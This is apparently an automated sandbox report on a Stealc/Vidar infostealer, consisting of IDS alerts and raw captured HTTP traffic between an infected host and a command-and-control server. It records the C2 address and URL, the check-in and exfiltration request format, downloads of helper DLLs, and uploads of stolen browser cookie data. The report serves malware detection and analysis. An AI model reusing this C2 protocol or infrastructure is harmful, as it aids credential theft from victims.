Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.12:49711
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.12:49711 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 35 38 45 31 33 44 30 46 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="hwid"1D58E13D0F4E758809014------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="build"doma------EGCBFIEHIEGCAAAKKKKE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGIHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 2d 2d 0d 0a Data Ascii: ------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="message"browsers------CAFHIJDHDGDBFHIEHDGI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIEBAAFBFBAKFIDBAFHHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 41 41 46 42 46 42 41 4b 46 49 44 42 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 41 41 46 42 46 42 41 4b 46 49 44 42 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 41 41 46 42 46 42 41 4b 46 49 44 42 41 46 48 2d 2d 0d 0a Data Ascii: ------IIIEBAAFBFBAKFIDBAFHContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------IIIEBAAFBFBAKFIDBAFHContent-Disposition: form-data; name="message"plugins------IIIEBAAFBFBAKFIDBAFH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCGDAFCFHIDBGDHCFCBHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 2d 2d 0d 0a Data Ascii: ------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="message"fplugins------GHCGDAFCFHIDBGDHCFCB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFCAFCBKECBGCFIIJHost: 185.215.113.37Content-Length: 7311Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCGDAFCFHIDBGDHCFCBHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4f 54 49 30 4d 6a 41 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 54 49 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 7a 45 78 4e 6a 49 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 57 31 69 61 6b 68 4a 56 7a 4e 43 61 47 39 4b 63 46 39 58 62 48 6c 49 61 31 56 6e 63 55 74 61 57 45 51 32 63 47 31 55 64 55 46 45 5a 47 39 42 63 46 39 51 52 48 68 42 4d 6e 68 68 61 48 52 7a 59 57 6c 6d 4e 45 4a 72 53 33 4a 32 62 55 78 30 4e 48 64 4d 61 6e 45 74 4e 79 31 30 56 6a 6c 71 57 6d 4e 34 54 57 6f 77 63 31 4e 4a 62 48 52 47 52 6e 5a 74 52 6e 42 42 65 6d 4e 66 63 54 42 56 53 55 31 78 54 58 42 50 65 53 31 56 55 6e 6b 78 57 57 68 42 63 32 31 48 53 33 70 61 4e 6a 4a 68 4e 31 42 73 4d 45 78 5a 62 32 5a 7a 64 54 6c 34 4d 6b 34 31 51 6d 55 74 4e 30 39 54 51 55 52 66 57 6c 52 6e 5a 6d 39 5a 64 6d 39 4c 54 56 4e 30 64 54 64 30 61 48 64 70 4d 46 46 4e 4d 48 52 55 53 58 49 34 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 2d 2d 0d 0a Data Ascii: ------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwOTI0MjAJMVBfSkFSCTIwMjMtMTAtMDUtMTIKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMzExNjIwCU5JRAk1MTE9bW1iakhJVzNCaG9KcF9XbHlIa1VncUtaWEQ2c
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHIIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 2d 2d 0d 0a Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="file"------IEHCAKKJDBKKFHJJDHII--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 2d 2d 0d 0a Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file"------ECBGCBGCAFIIECBFIDHI--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKFHost: 185.215.113.37Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFCAFCBKECBGCFIIJHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 43 41 46 43 42 4b 45 43 42 47 43 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 43 41 46 43 42 4b 45 43 42 47 43 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 43 41 46 43 42 4b 45 43 42 47 43 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------FIDAFCAFCBKECBGCFIIJContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------FIDAFCAFCBKECBGCFIIJContent-Disposition: form-data; name="message"wallets------FIDAFCAFCBKECBGCFIIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDAHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="message"files------AAKEGDAKEHJDHIDHJJDA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIECHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 2d 2d 0d 0a Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file"------GIECFIEGDBKJKFIDHIEC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGIHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 2d 2d 0d 0a Data Ascii: ------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="message"ybncbhylepme------CAFHIJDHDGDBFHIEHDGI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIECHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 2d 2d 0d 0a Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GIECFIEGDBKJKFIDHIEC--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
